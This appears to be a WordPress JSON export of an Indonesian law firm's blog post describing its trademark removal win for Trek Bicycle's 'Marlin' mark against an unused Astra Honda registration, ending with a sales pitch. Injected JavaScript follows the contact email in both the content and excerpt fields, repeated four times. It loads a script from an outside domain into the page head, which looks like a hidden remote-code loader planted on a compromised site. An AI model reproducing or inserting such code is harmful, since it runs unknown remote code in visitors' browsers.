{"id":4886,"date":"2024-04-23T08:18:24","date_gmt":"2024-04-23T08:18:24","guid":{"rendered":"https:\/\/affa.co.id\/?p=4886"},"modified":"2024-04-23T08:18:24","modified_gmt":"2024-04-23T08:18:24","slug":"affa-dampingi-trek-bicycle-menangkan-gugatan-penghapusan-merek-marlin-di-indonesia","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2024\/04\/23\/affa-dampingi-trek-bicycle-menangkan-gugatan-penghapusan-merek-marlin-di-indonesia\/","title":{"rendered":"AFFA Dampingi Trek Bicycle Menangkan Gugatan Penghapusan Merek Marlin di Indonesia"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Sejak pertengahan tahun 2023, AFFA dipercaya menangani sengketa atas Merek <\/span><b>Marlin<\/b><span style=\"font-weight: 400\"> milik<\/span><b> Trek Bicycle Corporation<\/b><span style=\"font-weight: 400\"> yang bermarkas di Waterloo, Amerika Serikat. Marlin sendiri adalah Merek dari Trek untuk rangka sepeda gunung andalannya. Sedangkan Trek adalah adalah klien yang sudah mempercayakan Merek-nya pada AFFA sejak tahun 2018.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Di negara asalnya, Marlin sudah digunakan sejak 1994 dan terdaftar pada 1998 di <\/span><b>Kantor Paten dan Merek Amerika Serikat (USPTO)<\/b><span style=\"font-weight: 400\">. Namun saat diajukan pendaftarannya pada tahun 2021 melalui <\/span><b>Protokol Madrid <\/b><span style=\"font-weight: 400\">untuk tujuan Indonesia, Merek ini ditolak oleh <\/span><b>Direktorat Jenderal Kekayaan Intelektual (DJKI) <\/b><span style=\"font-weight: 400\">selaku Kantor Merek di Indonesia, karena dianggap memiliki persamaan pada pokoknya ataupun keseluruhan dengan Merek Marlin milik <\/span><b>PT Astra Honda Motor<\/b><span style=\"font-weight: 400\"> yang telah terdaftar sejak November 2006 dan baru berakhir perlindungannya pada November 2026.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Berdasarkan riset yang dilakukan oleh investigator independen, ternyata PT Astra Honda Motor tidak pernah menggunakan Merek tersebut selama 3 (tiga) tahun terakhir. Atas hal tersebut, kami kemudian mengajukan Gugatan Penghapusan Merek atas Marlin milik PT Astra Honda Motor, agar Marlin milik Trek dapat didaftarkan di Indonesia. <\/span><strong>Gugatan Penghapusan<\/strong><span style=\"font-weight: 400\"><strong> atas Merek<\/strong> adalah solusi yang lebih tepat jika dibandingkan dengan <\/span><strong>Gugatan Pembatalan<\/strong><span style=\"font-weight: 400\"><strong> atas Merek<\/strong>, karena kasus ini dapat dikerucutkan pada isu Merek yang tidak digunakan, sebagaimana yang diatur pada <\/span><b>Pasal 74 ayat (1) Undang-Undang Merek dan Indikasi Geografis (UU MIG)<\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Proses Gugatan Penghapusan ini ternyata tidak berlangsung mudah. Karena setelah 10 (sepuluh) kali sidang di <\/span><b>Pengadilan Niaga<\/b><span style=\"font-weight: 400\"> pada Pengadilan Negeri Jakarta Pusat, pada bulan <\/span><span style=\"font-weight: 400\">November 2023<\/span><span style=\"font-weight: 400\">, hasilnya dinyatakan gugatan kami tidak dapat diterima. Salah satu pertimbangan hakimnya karena gugatan kami dianggap tidak menjelaskan mengenai persamaan pada pokoknya dan\/atau keseluruhan dari merek klien kami dan merek pihak PT Astra Honda Motor.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Atas hal tersebut, serta berbekal hasil investigator independen yang dapat membuktikan bahwa tidak ada Merek Marlin yang diketahui, dipakai, dibeli, dijual, atau didistribusikan, serta dipromosikan melalui website dan media sosial dalam 3 (tiga) tahun terakhir, kami berani mengajukan permohonan Kasasi atas putusan tersebut ke <strong>Mahkamah Agung Republik Indonesia<\/strong> pada <\/span><span style=\"font-weight: 400\">6 Desember 2023<\/span><span style=\"font-weight: 400\"> serta menyerahkan memori kasasi pada tanggal <\/span><span style=\"font-weight: 400\">19 Desember 2023.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Hingga akhirnya diputuskan dalam rapat musyawarah Majelis Hakim pada hari Selasa, <\/span><span style=\"font-weight: 400\">19 Maret 2024<\/span><span style=\"font-weight: 400\">, bahwa Pengadilan Niaga pada Pengadilan Negeri Jakarta Pusat telah salah menerapkan hukum. Hal yang paling utama karena merek tersebut memang tidak digunakan dalam 3 (tiga) tahun terakhir. Selain itu, persamaan pada pokoknya atau keseluruhannya yang merupakan unsur pembatalan merek tidak perlu diuraikan pada gugatan penghapusan, berbeda bila prakarsa penghapusan tersebut oleh Menteri. Apalagi didukung dengan fakta Termohon Kasasi\/Tergugat tidak pernah hadir ke persidangan walaupun sudah di panggil 3 (tiga) kali secara sah dan patut, serta Merek Marlin milik Trek Bicycle telah terdaftar juga sebelumnya di beberapa negara, antara lain di Costarica, Guatemala, Nikaragua, Panama, Honduras dan lainnya, sehingga Marlin dianggap sebagai Merek yang sudah dikenal, dan memerintahkan DJKI untuk melaksanakan penghapusan merek Marlin milik PT Astra Honda Motor dari Daftar Umum Merek.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Proses pendaftaran Merek di Indonesia memang membutuhkan waktu lama dan cukup pelik. Karena ada ribuan Merek yang diajukan pendaftarannya setiap tahunnya, serta pemberlakuan asas<\/span><strong><i> first-to-file<\/i><\/strong><span style=\"font-weight: 400\">\u00a0dapat menjadi penghambat pendaftaran Merek Anda. Maka dari itu segera daftarkan Merek Anda secepat mungkin dan percayakan pendaftarannya pada Konsultan Merek berpengalaman.\u00a0<\/span><\/p>\n<p><strong>Untuk informasi lebih lanjut mengenai pendaftaran Merek di dalam dan luar negeri, Anda dapat menghubungi kami melalui email <a href=\"mailto:trademark@affa.co.id\">trademark@affa.co.id<\/a>. <\/strong>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sejak pertengahan tahun 2023, AFFA dipercaya menangani sengketa atas Merek Marlin milik Trek Bicycle Corporation yang bermarkas di Waterloo, Amerika Serikat. Marlin sendiri adalah Merek dari Trek untuk rangka sepeda gunung andalannya. Sedangkan Trek adalah adalah klien yang sudah mempercayakan Merek-nya pada AFFA sejak tahun 2018. &nbsp; Di negara asalnya, Marlin sudah digunakan sejak 1994 dan terdaftar pada 1998 di Kantor Paten dan Merek Amerika Serikat (USPTO). Namun saat diajukan pendaftarannya pada tahun 2021 melalui Protokol Madrid untuk tujuan Indonesia, Merek ini ditolak oleh Direktorat Jenderal Kekayaan Intelektual (DJKI) selaku Kantor Merek di Indonesia, karena dianggap memiliki persamaan pada pokoknya ataupun keseluruhan dengan Merek Marlin milik PT Astra Honda Motor yang telah terdaftar sejak November 2006 dan baru berakhir perlindungannya pada November 2026.\u00a0 &nbsp; Berdasarkan riset yang dilakukan oleh investigator independen, ternyata PT Astra Honda Motor tidak pernah menggunakan Merek tersebut selama 3 (tiga) tahun terakhir. Atas hal tersebut, kami kemudian mengajukan Gugatan Penghapusan Merek atas Marlin milik PT Astra Honda Motor, agar Marlin milik Trek dapat didaftarkan di Indonesia. Gugatan Penghapusan atas Merek adalah solusi yang lebih tepat jika dibandingkan dengan Gugatan Pembatalan atas Merek, karena kasus ini dapat dikerucutkan pada isu Merek yang tidak digunakan, sebagaimana yang diatur pada Pasal 74 ayat (1) Undang-Undang Merek dan Indikasi Geografis (UU MIG). &nbsp; Proses Gugatan Penghapusan ini ternyata tidak berlangsung mudah. Karena setelah 10 (sepuluh) kali sidang di Pengadilan Niaga pada Pengadilan Negeri Jakarta Pusat, pada bulan November 2023, hasilnya dinyatakan gugatan kami tidak dapat diterima. Salah satu pertimbangan hakimnya karena gugatan kami dianggap tidak menjelaskan mengenai persamaan pada pokoknya dan\/atau keseluruhan dari merek klien kami dan merek pihak PT Astra Honda Motor. &nbsp; Atas hal tersebut, serta berbekal hasil investigator independen yang dapat membuktikan bahwa tidak ada Merek Marlin yang diketahui, dipakai, dibeli, dijual, atau didistribusikan, serta dipromosikan melalui website dan media sosial dalam 3 (tiga) tahun terakhir, kami berani mengajukan permohonan Kasasi atas putusan tersebut ke Mahkamah Agung Republik Indonesia pada 6 Desember 2023 serta menyerahkan memori kasasi pada tanggal 19 Desember 2023. &nbsp; Hingga akhirnya diputuskan dalam rapat musyawarah Majelis Hakim pada hari Selasa, 19 Maret 2024, bahwa Pengadilan Niaga pada Pengadilan Negeri Jakarta Pusat telah salah menerapkan hukum. Hal yang paling utama karena merek tersebut memang tidak digunakan dalam 3 (tiga) tahun terakhir. Selain itu, persamaan pada pokoknya atau keseluruhannya yang merupakan unsur pembatalan merek tidak perlu diuraikan pada gugatan penghapusan, berbeda bila prakarsa penghapusan tersebut oleh Menteri. Apalagi didukung dengan fakta Termohon Kasasi\/Tergugat tidak pernah hadir ke persidangan walaupun sudah di panggil 3 (tiga) kali secara sah dan patut, serta Merek Marlin milik Trek Bicycle telah terdaftar juga sebelumnya di beberapa negara, antara lain di Costarica, Guatemala, Nikaragua, Panama, Honduras dan lainnya, sehingga Marlin dianggap sebagai Merek yang sudah dikenal, dan memerintahkan DJKI untuk melaksanakan penghapusan merek Marlin milik PT Astra Honda Motor dari Daftar Umum Merek. &nbsp; Proses pendaftaran Merek di Indonesia memang membutuhkan waktu lama dan cukup pelik. Karena ada ribuan Merek yang diajukan pendaftarannya setiap tahunnya, serta pemberlakuan asas first-to-file\u00a0dapat menjadi penghambat pendaftaran Merek Anda. Maka dari itu segera daftarkan Merek Anda secepat mungkin dan percayakan pendaftarannya pada Konsultan Merek berpengalaman.\u00a0 Untuk informasi lebih lanjut mengenai pendaftaran Merek di dalam dan luar negeri, Anda dapat menghubungi kami melalui email trademark@affa.co.id. var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":4885,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[278,279],"tags":[309,310,315,317,318,416,298,305,306,307],"class_list":["post-4886","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-event","category-trademark","tag-kekayaan-intelektual","tag-ki","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark","tag-your-ip-is-our-expertis","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4886","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4886"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4886\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4885"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4886"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4886"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4886"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}